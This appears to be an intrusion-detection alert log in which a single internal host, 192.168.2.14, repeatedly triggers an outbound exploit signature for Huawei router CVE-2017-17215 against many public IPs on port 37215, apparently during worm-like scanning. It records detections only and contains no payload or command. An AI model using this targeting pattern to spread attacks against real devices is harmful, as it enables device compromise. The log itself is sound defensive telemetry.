2024-10-08T20:35:32.571409+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48566	197.214.85.199	37215	TCP
2024-10-08T20:35:32.573555+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53242	156.116.132.81	37215	TCP
2024-10-08T20:35:32.597986+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34364	156.14.191.119	37215	TCP
2024-10-08T20:35:33.570388+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41828	197.246.160.83	37215	TCP
2024-10-08T20:35:34.583205+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43700	41.220.230.101	37215	TCP
2024-10-08T20:35:34.583423+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39106	41.128.120.188	37215	TCP
2024-10-08T20:35:35.009867+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39120	41.175.100.152	37215	TCP
2024-10-08T20:35:35.583241+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47254	41.110.203.155	37215	TCP
2024-10-08T20:35:35.585283+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47718	197.203.206.127	37215	TCP
2024-10-08T20:35:35.587461+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46266	156.164.128.168	37215	TCP
2024-10-08T20:35:35.629929+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48578	197.4.44.23	37215	TCP
2024-10-08T20:35:35.630954+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35060	197.169.152.22	37215	TCP
2024-10-08T20:35:35.634030+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56654	156.227.8.129	37215	TCP
2024-10-08T20:35:35.650969+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49826	41.14.214.141	37215	TCP
2024-10-08T20:35:35.666033+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34480	156.219.11.184	37215	TCP
2024-10-08T20:35:35.694049+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54266	41.104.69.176	37215	TCP
2024-10-08T20:35:36.630560+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36070	197.14.138.227	37215	TCP
2024-10-08T20:35:36.647034+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48424	156.241.51.180	37215	TCP
2024-10-08T20:35:36.649482+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41338	41.196.204.33	37215	TCP
2024-10-08T20:35:36.660326+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51556	197.73.121.137	37215	TCP
2024-10-08T20:35:36.660480+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42620	197.18.141.225	37215	TCP
2024-10-08T20:35:36.678013+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56894	197.93.53.19	37215	TCP
2024-10-08T20:35:37.402156+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56344	156.228.143.4	37215	TCP
2024-10-08T20:35:37.528317+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47312	197.7.155.188	37215	TCP
2024-10-08T20:35:37.613340+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59832	156.252.156.87	37215	TCP
2024-10-08T20:35:37.613561+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40698	156.161.246.103	37215	TCP
2024-10-08T20:35:37.614441+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44522	156.136.125.147	37215	TCP
2024-10-08T20:35:37.631116+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42804	156.183.64.95	37215	TCP
2024-10-08T20:35:37.631126+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53298	156.157.197.238	37215	TCP
2024-10-08T20:35:37.644827+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44874	156.15.13.89	37215	TCP
2024-10-08T20:35:37.644949+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48958	41.120.190.255	37215	TCP
2024-10-08T20:35:37.646814+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49514	197.110.58.87	37215	TCP
2024-10-08T20:35:37.650844+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48192	41.189.172.95	37215	TCP
2024-10-08T20:35:37.662575+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33018	41.224.97.53	37215	TCP
2024-10-08T20:35:37.676884+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41134	156.5.124.76	37215	TCP
2024-10-08T20:35:37.692092+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43984	41.172.24.50	37215	TCP
2024-10-08T20:35:38.630244+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49514	41.79.64.227	37215	TCP
2024-10-08T20:35:38.645826+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47628	197.141.183.59	37215	TCP
2024-10-08T20:35:38.646062+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37788	197.247.137.24	37215	TCP
2024-10-08T20:35:38.646092+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56936	197.118.183.111	37215	TCP
2024-10-08T20:35:38.646495+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52808	41.249.19.15	37215	TCP
2024-10-08T20:35:38.646505+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34782	41.13.117.8	37215	TCP
2024-10-08T20:35:38.646530+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56884	156.199.53.201	37215	TCP
2024-10-08T20:35:38.660281+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35122	41.240.85.229	37215	TCP
2024-10-08T20:35:38.660428+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41034	156.61.66.25	37215	TCP
2024-10-08T20:35:38.660640+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38474	197.15.250.101	37215	TCP
2024-10-08T20:35:38.660665+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47272	197.190.95.96	37215	TCP
2024-10-08T20:35:38.660819+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	32956	41.243.246.24	37215	TCP
2024-10-08T20:35:38.660866+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36754	156.218.75.200	37215	TCP
2024-10-08T20:35:38.660959+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52148	156.18.10.104	37215	TCP
2024-10-08T20:35:38.660962+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54046	156.21.179.218	37215	TCP
2024-10-08T20:35:38.661087+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54142	197.86.209.110	37215	TCP
2024-10-08T20:35:38.661096+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33214	156.189.16.215	37215	TCP
2024-10-08T20:35:38.661313+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47264	156.34.227.47	37215	TCP
2024-10-08T20:35:38.661328+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50400	156.2.217.40	37215	TCP
2024-10-08T20:35:38.661341+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52262	197.86.59.77	37215	TCP
2024-10-08T20:35:38.661451+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51852	41.14.231.217	37215	TCP
2024-10-08T20:35:38.662185+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42972	197.151.136.253	37215	TCP
2024-10-08T20:35:38.662186+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46108	156.2.249.248	37215	TCP
2024-10-08T20:35:38.662578+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35782	41.2.126.153	37215	TCP
2024-10-08T20:35:38.662863+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42546	41.189.52.206	37215	TCP
2024-10-08T20:35:38.664940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38846	156.222.188.136	37215	TCP
2024-10-08T20:35:38.666113+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34498	156.108.142.162	37215	TCP
2024-10-08T20:35:38.666221+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46036	41.253.26.185	37215	TCP
2024-10-08T20:35:38.666605+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53368	156.21.188.112	37215	TCP
2024-10-08T20:35:38.669150+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40576	41.246.185.27	37215	TCP
2024-10-08T20:35:38.680094+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47722	156.68.135.32	37215	TCP
2024-10-08T20:35:38.680249+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36146	156.55.81.177	37215	TCP
2024-10-08T20:35:38.680349+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35374	156.56.105.11	37215	TCP
2024-10-08T20:35:38.681557+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38684	41.120.198.124	37215	TCP
2024-10-08T20:35:39.723415+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50164	197.80.179.237	37215	TCP
2024-10-08T20:35:39.723501+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52044	41.185.211.114	37215	TCP
2024-10-08T20:35:39.723525+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45026	41.52.5.76	37215	TCP
2024-10-08T20:35:39.723863+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37322	197.21.152.37	37215	TCP
2024-10-08T20:35:39.723933+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48080	156.127.127.163	37215	TCP
2024-10-08T20:35:39.723940+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44948	156.136.38.245	37215	TCP
2024-10-08T20:35:39.724007+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53388	156.126.155.228	37215	TCP
2024-10-08T20:35:39.724071+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37570	197.38.234.48	37215	TCP
2024-10-08T20:35:39.724240+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51012	41.56.205.73	37215	TCP
2024-10-08T20:35:39.724313+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41404	156.33.125.199	37215	TCP
2024-10-08T20:35:39.724324+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44508	197.138.54.167	37215	TCP
2024-10-08T20:35:39.724534+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36438	197.213.184.139	37215	TCP
2024-10-08T20:35:39.724536+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35602	156.142.224.234	37215	TCP
2024-10-08T20:35:39.724778+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46616	197.214.72.194	37215	TCP
2024-10-08T20:35:39.724778+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56980	41.141.109.120	37215	TCP
2024-10-08T20:35:39.724839+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46958	41.200.229.151	37215	TCP
2024-10-08T20:35:39.724942+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54052	156.43.136.34	37215	TCP
2024-10-08T20:35:39.725162+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47472	197.221.79.228	37215	TCP
2024-10-08T20:35:39.725208+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54010	197.221.14.49	37215	TCP
2024-10-08T20:35:39.725566+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53988	41.3.92.194	37215	TCP
2024-10-08T20:35:39.725726+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35764	41.203.11.191	37215	TCP
2024-10-08T20:35:39.725733+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52112	197.25.123.226	37215	TCP
2024-10-08T20:35:39.725960+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33068	41.205.20.224	37215	TCP
2024-10-08T20:35:39.725974+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48972	156.18.91.189	37215	TCP
2024-10-08T20:35:39.725984+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45448	41.88.129.188	37215	TCP
2024-10-08T20:35:39.726027+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53392	197.23.225.200	37215	TCP
2024-10-08T20:35:39.727826+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36826	197.185.192.186	37215	TCP
2024-10-08T20:35:39.727850+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47652	41.143.191.102	37215	TCP
2024-10-08T20:35:39.728613+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49730	156.27.56.34	37215	TCP
2024-10-08T20:35:39.728910+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39202	156.240.207.144	37215	TCP
2024-10-08T20:35:39.728943+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33800	41.65.225.251	37215	TCP
2024-10-08T20:35:39.729150+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48204	41.179.193.119	37215	TCP
2024-10-08T20:35:39.729815+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60884	156.175.133.63	37215	TCP
2024-10-08T20:35:39.729924+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49844	156.56.35.169	37215	TCP
2024-10-08T20:35:39.730077+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38258	197.25.37.149	37215	TCP
2024-10-08T20:35:39.739052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48140	156.86.23.188	37215	TCP
2024-10-08T20:35:40.739016+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	51388	197.123.167.40	37215	TCP
2024-10-08T20:35:40.739052+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41996	156.37.9.223	37215	TCP
2024-10-08T20:35:40.754474+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34246	41.210.172.175	37215	TCP
2024-10-08T20:35:40.755101+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	49042	41.189.246.76	37215	TCP
2024-10-08T20:35:40.756202+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53304	197.198.193.29	37215	TCP
2024-10-08T20:35:40.758587+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	41970	156.13.89.110	37215	TCP
2024-10-08T20:35:40.758600+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39440	197.255.209.18	37215	TCP
2024-10-08T20:35:40.760444+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	35466	197.41.108.26	37215	TCP
2024-10-08T20:35:40.760965+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55402	156.63.172.119	37215	TCP
2024-10-08T20:35:40.769623+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48184	41.202.104.88	37215	TCP
2024-10-08T20:35:40.770488+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52340	41.52.232.181	37215	TCP
2024-10-08T20:35:40.770801+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	46638	197.132.83.29	37215	TCP
2024-10-08T20:35:40.770838+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47316	41.214.162.14	37215	TCP
2024-10-08T20:35:40.770936+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36224	41.134.67.96	37215	TCP
2024-10-08T20:35:40.771225+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37626	197.196.118.202	37215	TCP
2024-10-08T20:35:40.771237+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48842	41.175.158.192	37215	TCP
2024-10-08T20:35:40.771778+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53266	41.106.102.32	37215	TCP
2024-10-08T20:35:40.772060+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45146	197.199.250.105	37215	TCP
2024-10-08T20:35:40.772395+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60770	41.194.2.205	37215	TCP
2024-10-08T20:35:40.772761+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52420	197.159.33.5	37215	TCP
2024-10-08T20:35:40.772879+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55800	197.211.148.220	37215	TCP
2024-10-08T20:35:40.775214+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34146	41.222.144.48	37215	TCP
2024-10-08T20:35:40.776305+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45308	156.229.255.48	37215	TCP
2024-10-08T20:35:40.776524+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53956	41.173.196.104	37215	TCP
2024-10-08T20:35:40.785496+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52194	156.245.2.117	37215	TCP
2024-10-08T20:35:40.785745+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47230	156.103.76.128	37215	TCP
2024-10-08T20:35:40.785982+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53072	156.220.82.225	37215	TCP
2024-10-08T20:35:40.791657+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	53872	197.115.161.99	37215	TCP
2024-10-08T20:35:40.811393+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	59704	197.7.5.131	37215	TCP
2024-10-08T20:35:42.801379+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55084	197.18.194.9	37215	TCP
2024-10-08T20:35:42.803714+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	60592	197.204.22.0	37215	TCP
2024-10-08T20:35:42.817013+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50830	197.144.58.40	37215	TCP
2024-10-08T20:35:42.818011+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	44784	156.251.236.214	37215	TCP
2024-10-08T20:35:42.821521+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	43212	156.37.245.239	37215	TCP
2024-10-08T20:35:42.836470+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40078	197.129.22.45	37215	TCP
2024-10-08T20:35:42.838292+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54310	41.120.104.86	37215	TCP
2024-10-08T20:35:43.739149+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	52906	41.45.219.94	37215	TCP
2024-10-08T20:35:43.785481+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	36138	197.151.219.195	37215	TCP
2024-10-08T20:35:44.535087+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34642	156.228.128.46	37215	TCP
2024-10-08T20:35:44.801696+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	56186	156.217.85.234	37215	TCP
2024-10-08T20:35:44.803148+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	45798	156.32.64.81	37215	TCP
2024-10-08T20:35:44.805001+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40902	197.179.231.62	37215	TCP
2024-10-08T20:35:44.821436+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	58744	197.134.116.109	37215	TCP
2024-10-08T20:35:44.832875+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38384	41.220.41.54	37215	TCP
2024-10-08T20:35:44.950372+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	55548	41.222.1.103	37215	TCP
2024-10-08T20:35:45.003628+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47914	197.232.81.202	37215	TCP
2024-10-08T20:35:45.801834+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	40998	41.195.86.42	37215	TCP
2024-10-08T20:35:45.817035+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	38740	156.68.184.16	37215	TCP
2024-10-08T20:35:45.817552+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	42540	156.134.183.214	37215	TCP
2024-10-08T20:35:45.818450+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	47276	41.137.211.72	37215	TCP
2024-10-08T20:35:45.818663+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	34198	197.45.45.23	37215	TCP
2024-10-08T20:35:45.833151+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	39680	197.62.61.201	37215	TCP
2024-10-08T20:35:45.833544+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	37054	156.156.226.12	37215	TCP
2024-10-08T20:35:45.833857+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	33456	197.146.192.239	37215	TCP
2024-10-08T20:35:45.834143+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	50954	156.145.56.213	37215	TCP
2024-10-08T20:35:45.834205+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	54270	197.220.114.148	37215	TCP
2024-10-08T20:35:45.834343+0200	2835222	ETPRO EXPLOIT Huawei Remote Command Execution - Outbound (CVE-2017-17215)	1	192.168.2.14	48834	41.28.106.201	37215	TCP
